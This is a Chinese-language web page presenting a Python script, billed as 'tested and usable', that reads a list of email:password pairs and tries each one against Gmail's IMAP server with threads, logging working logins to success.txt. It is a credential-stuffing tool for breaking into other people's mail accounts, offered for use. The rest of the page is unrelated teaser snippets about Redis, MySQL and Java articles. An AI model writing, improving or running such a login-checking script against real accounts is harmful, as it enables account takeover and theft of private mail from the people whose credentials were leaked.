python郵箱爆破_Python在線爆破郵箱賬號密碼測試代碼(親測可用)

dic 字典格式如下(mail.txt) :

username@gmail.com:password

username@gmail.com:password

username@gmail.com:password

以此類推,切記保存成utf-8編碼格式。

放置在當前腳本目錄,也可自己定義修改。

支持ssl https /imap協議。

# version 3.4.0

# coding='UTF-8'

# time='2014-09-16'

import _dummy_thread

import imaplib

import threading

# global variant

GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY = []

GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY_NUM = 0

GLOBAL_STRING_GMAIL_IMAP4_SERVER = 'imap.gmail.com'

GLOBAL_INT_GMAIL_IMAP4_SERVER_PORT = 143

GLOBAL_INT_GMAIL_IMAP4_SSL_PORT = 993

GLOBAL_WORKING_THREAD_MUTEX_LOCK = _dummy_thread.allocate_lock()

GLOBAL_ARRAY_BUFFER_MAX_LINES = 1000

GMAIL_BYTES_READED_TOTAL_SIZE = 0

GLOBAL_GMAIL_CURRENT_POSITION_TOTAL_LINES = 0

GLOBAL_READ_FINISH_STATUS_SUCCESS = False

# define global function

def Write_Save_Success_Gmail_Jobs(indexSuccess):

Success_File = open('success.txt', 'a')

Success_File.write(GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY[indexSuccess])

Success_File.close()

def Write_Save_Fail_Gmail_Jobs(indexFail):

Fail_File = open('fail.txt', 'a')

Fail_File.write(GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY[indexFail])

Fail_File.close()

# define global function

def Get_Parser_Account_Pwd(Index):

strAccountPwd = GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY[Index]

strUserName, strPassWord = strAccountPwd.split(':', 1)

return strUserName, strPassWord

# define global function

def Veritifying_Gmail_Imap_Account_Pwd(IndexGmail):

global GLOBAL_WORKING_THREAD_MUTEX_LOCK

global GLOBAL_GMAIL_CURRENT_POSITION_TOTAL_LINES

if ((IndexGmail >= 0) and (IndexGmail < GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY_NUM)) == True:

GLOBAL_WORKING_THREAD_MUTEX_LOCK.acquire()

GLOBAL_GMAIL_CURRENT_POSITION_TOTAL_LINES += 1

print('POSITION---------', GLOBAL_GMAIL_CURRENT_POSITION_TOTAL_LINES)

print('IMAP INDEX-------', IndexGmail)

print('IMAP USERNAME----', GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY[IndexGmail])

Write_Save_Fail_Gmail_Jobs(IndexGmail)

# GLOBAL_WORKING_THREAD_MUTEX_LOCK.release()

print(GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY[IndexGmail])

GmailImap4 = imaplib.IMAP4_SSL(GLOBAL_STRING_GMAIL_IMAP4_SERVER, GLOBAL_INT_GMAIL_IMAP4_SSL_PORT)

GmailImap4.port = GLOBAL_INT_GMAIL_IMAP4_SERVER_PORT # 143

stringGmailUserName, stringGmailPassWord = Get_Parser_Account_Pwd(IndexGmail)

try:

ResponseStatus = GmailImap4.login(stringGmailUserName, stringGmailPassWord)

except GmailImap4.error :

print('Logical errors - debug required')

Write_Save_Fail_Gmail_Jobs(IndexGmail)

GLOBAL_WORKING_THREAD_MUTEX_LOCK.release()

return

except GmailImap4.abort :

print('Service errors - close and retry')

GmailImap4.close()

Write_Save_Fail_Gmail_Jobs(IndexGmail)

GLOBAL_WORKING_THREAD_MUTEX_LOCK.release()

return

except GmailImap4.readonly:

print('Mailbox status changed to read only')

GmailImap4.close()

Write_Save_Fail_Gmail_Jobs(IndexGmail)

GLOBAL_WORKING_THREAD_MUTEX_LOCK.release()

return

if (ResponseStatus[0] == 'OK'):

print('LOGIN SUCCESS')

Write_Save_Success_Gmail_Jobs(IndexGmail)

GmailImap4.logout()

GLOBAL_WORKING_THREAD_MUTEX_LOCK.release()

else:

GmailImap4.close()

print('LOGIN FAIL')

print(ResponseStatus)

Write_Save_Fail_Gmail_Jobs(IndexGmail)

GLOBAL_WORKING_THREAD_MUTEX_LOCK.release()

else:

return

# define global function

class Working_Zone_Thread(threading.Thread):

m_IndexStart = 0

m_IndexEnd = 0

def __init__(self, numEnd):

self.m_IndexEnd = numEnd

threading.Thread.__init__(self)

def run(self): # run process

while True:

if self.m_IndexStart < self.m_IndexEnd:

Veritifying_Gmail_Imap_Account_Pwd(self.m_IndexStart)

self.m_IndexStart = self.m_IndexStart + 1

else:

break

def _delete(self):

threading.Thread._delete(self)

print('thread delete is : ', self.getName())

# define read function

def Read_Send_Single_Func():

IndexStart = 0

print('--------read----star--')

global GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY_NUM

global GMAIL_BYTES_READED_TOTAL_SIZE

global GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY

File_Read = open('mail.txt', 'r', encoding='UTF-8')

File_Read.seek(GMAIL_BYTES_READED_TOTAL_SIZE, 0) # seek

while IndexStart < GLOBAL_ARRAY_BUFFER_MAX_LINES:

line = File_Read.readline()

if line:

GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY.append(line)

CbBytes = line.__len__()

GMAIL_BYTES_READED_TOTAL_SIZE += CbBytes

GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY_NUM += 1

IndexStart = IndexStart + 1

else:

GLOBAL_READ_FINISH_STATUS_SUCCESS = True

break

print('gmail read num ', IndexStart)

File_Read.close()

print('---------read----end--')

# main entry

if __name__ == '__main__':

print('Main Thread Start : ')

while True:

if GLOBAL_READ_FINISH_STATUS_SUCCESS != True:

Read_Send_Single_Func()

wzt = Working_Zone_Thread(GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY_NUM)

wzt.start()

wzt.join()

GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY_NUM = 0

GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY.clear()

else:

print('data has run out : ')

break

print('Main Thread End : ')

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/533376.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/533376.shtml
英文地址,請注明出處:http://en.pswp.cn/news/533376.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

查看redis aof內存_Redis持久化問題定位與優化技巧

今天主要分享繼Redis持久化方式RDB、AOF之后的一些常用的Redis問題定位于優化方式。這里主要CPU、內存、磁盤在三個維度去分析問題&#xff01;Fork操作當Redis做RDB或AOF重寫時&#xff0c;一個必不可少的操作就是執行fork操作創建子進程&#xff0c;對于大多數操作系統來說fo…

mysql新增陣列df_DF學Mysql(三)——索引操作

概要&#xff1a;數據庫對象索引其實與書的目錄非常相似&#xff0c;主要是為了提高從表中檢索數據的速度。由于數據存儲在數據庫表中&#xff0c;所以索引是創建在數據庫表對象上的&#xff0c;由表中的一個字段或多個字段生成的鍵組成&#xff0c;這些鍵存儲在數據結構(B-樹或…

python本地瀏覽器注入js_PyQt5內嵌瀏覽器注入JavaScript腳本實現自動化操作的代碼實例...

概要應同學邀請&#xff0c;演示如何使用 PyQt5 內嵌瀏覽器瀏覽網頁&#xff0c;并注入 Javascript 腳本實現自動化操作。下面測試的是一個廉價機票預訂網站(http://www.flyscoot.com/)&#xff0c;關鍵點如下使用 QWebEngineView 加載網頁&#xff0c;并顯示進度。在默認配置(…

python裝好了怎么啟動車_【填空題】Python安裝好后,可以直接在CMD命令行下輸入( )命令, 可啟動交互式編程,提示窗口如下:...

傾斜巖層的產狀要素是用巖層層面的()。A.傾角B.走向C.范圍D.傾向E.表面積采用深層攪拌法進行地基加固處理&#xff0c;其適用條件為()。A.砂礫石松軟地基B.松散砂地基C.黏土軟弱地基根據《建筑工程建筑面積計算規則》&#xff0c;下列關于建筑物雨篷結構的建筑面積計算&#xf…

windows設置mysql使用率_Windows下配置Mysql

這里說的配置Mysql&#xff0c;是在安裝時進行的&#xff0c;請先查看&#xff1a;Windows平臺下安裝Mysql緊接上文&#xff0c;安裝完成后將配置選項打上對勾&#xff0c;按下“Finish”&#xff0c;出現下面的界面&#xff0c;這里有一個很好的功能&#xff0c;mysql配置向導…

mysql 云無憂ps教程_華為云數據庫MySQL一鍵開通讀寫分離,無憂應對企業業務高峰情景...

業務大促&#xff0c;訂單暴增&#xff0c;網站流量暴漲幾倍&#xff0c;數據庫服務器容量又要扛不住了&#xff0c;眼睜睜看著生意白白溜走&#xff0c;再苦逼也無法解決&#xff0c;“腫”么辦&#xff1f;別擔心&#xff0c;一鍵開通讀寫分離&#xff0c;而且只需一個連接地…

mysql實體監聽器_GitHub - langjiangit/spring-boot-starter-mysql-binlog: mysql的binlog監聽器

mysql binlog監聽器前置操作1.查看mysql是否開啟binlogshow variables like log_bin;2.查看是否使用row格式的binlogshow variables like binlog_format;3.如果以上都不是請修改mysql的配置文件添加或者修改如下內容#配置binlog存放路徑log-binE://mysql//binlog//mysql-bin#bi…

python 基因序列提取_科學網—簡單的Python腳本提取對應位置基因序列(fasta文件) - 王彬忠的博文...

最近&#xff0c;用Python腳本提取&#xff0c;在基因號已知&#xff0c;位置已知條件下&#xff0c;相對應位置的基因序列時發現&#xff0c;這樣很簡單但是很實用的腳本&#xff0c;在網上卻比較難找。而且&#xff0c;能被找到的腳本&#xff0c;相對于具有初級編程能力的人…

python不能安裝在中文_無法在Python上安裝表

我一直收到錯誤Command "python setup.py egg_info" failed with error code 1 in C:\Users\HP\AppData\Local\Temp\pip-install-sv33cp8y\tables\當嘗試使用^{pr2}$我試過了pip install --upgrade setuptools還有很多其他的東西&#xff0c;但還是不能讓它發揮作用。…

python是強定義語言嗎_python是強類型語言嗎

強弱是對類型而言的。強類型&#xff0c;你有一個值之后這個值是什么類型是確定&#xff0c;比如n1&#xff0c;n的類型是確定的(字符串)&#xff0c;因此你不能在Python做n3 mn1運算。而弱類型就不是這樣的&#xff0c;值的類型可以在需要的時候再去確定&#xff0c;比如PHP里…

mysql給字段添加描述_用sql 語句給字段添加描述

用sql 語句給字段添加描述IF not exists(SELECT * FROM ::fn_listextendedproperty (NULL, user, dbo, table, strTableName, column, strColumnName))BEGINexec sp_addextendedpropertyMS_Description, strColumnDesc , user, dbo, table,strTableName, column, strColumnName…

深入java核心_Java核心(五)深入理解BIO、NIO、AIO

導讀&#xff1a;本文你將獲取到&#xff1a;同/異步 阻/非阻塞的性能區別&#xff1b;BIO、NIO、AIO 的區別&#xff1b;理解和實現 NIO 操作 Socket 時的多路復用&#xff1b;同時掌握 IO 最底層最核心的操作技巧。BIO、NIO、AIO 的區別是什么&#xff1f;同/異步、阻/非阻塞…

java反射 獲取參數類型_Java反射帶參構造創建對象時如何自動轉換參數類型

需求是這樣的&#xff1a;有一個類&#xff0c;類的路徑知道&#xff0c;例如是com.xx.xx.xx其中有不同類型的成員變量(個數未知)&#xff0c;有對應的setter和getter方法&#xff0c;有一個無參構造和一個全參構造。現在需要用反射機制...需求是這樣的&#xff1a;有一個類&am…

java的樂趣_分享java帶來的快樂

2013年9月17日#2011年7月18日#function reportError(sMessage, sUrl, sLine) {var str "";str " 錯誤信息:" sMessage "\n";str " 錯誤地址:" sUrl "\n";str " 錯誤行數:" sLine "\n";str &…

java arraylist底層實現原理_ArrayList和LinkedList底層原理

ArrayList和LinkedList都是List的實現類&#xff0c;是在日常開發中經常被使用到的兩個集合&#xff0c;我們來結合源碼看下兩個集合的不同之處。先來看下ArrayList的源碼&#xff1a;// 默認的初始化大小private static final int DEFAULT_CAPACITY 10;ArrayList的底層數數組…

java ee jaas_java-ee – Tomcat-Jaas – 如何檢索主題?

i knew that and it works, but I need to retrieve subject to get also roleprincipal不幸的是,它在Java EE中的工作方式不同. JAAS主題只是一個“主要包”,其中哪些代表用戶/調用者主體和/或角色主體根本不是標準化的.每個其他容器在這里做不同的事情. Javadoc for Tomcat’…

java jive歌詞_Java Jive_Manhattan Transfer with Phil Collins_高音質在線試聽_Java Jive歌詞|歌曲下載_酷狗音樂...

Manhattan Transfer with Phil Collins - Java Jive&#xfeff;[id:$00000000][ar:曼哈頓行者爵士][ti:Java Jive (LP Version)][by:][hash:99bf26cac4ad13e15925a56eb724027f][al:][sign:][qq:][total:0][offset:0][00:00.05]The Manhattan Transfer - Java Jive[00:10.57]I …

java 3_Java 3 (Java的數據類型)

Java的數據類型主要內容&#xff1a;1Java數據類型的分類2.8種基本數據類型3.理解引用類型的特點一、什么是數據類型&#xff1f;計算機語言將數據按性質進行分類&#xff0c;每一類稱為一種數據類型&#xff1b;數據類型定義了數據的性質、取值范圍、存儲方式、對數據所能進行…

java快捷鍵 --_Java中的快捷方式“或分配”(| =)運算符

如果是關于可讀性&#xff0c;我就有了將測試數據與測試邏輯分離的概念。代碼示例&#xff1a;// declare dataDataType [] dataToTest new DataType[] {defaultStock,defaultWholesale,defaultRetail,defaultDelivery}// define logicboolean checkIfAnyNegative(DataType []…

tcp網絡通信教程 java_基于java TCP網絡通信的實例詳解

JAVA中設計網絡編程模式的主要有TCP和UDP兩種&#xff0c;TCP是屬于即時通信&#xff0c;UDP是通過數據包來進行通信&#xff0c;UDP當中就會牽扯到數據的解析和傳送。在安全性能方面&#xff0c;TCP要略勝一籌&#xff0c;通信過程中不容易出現數據丟失的現象&#xff0c;有一…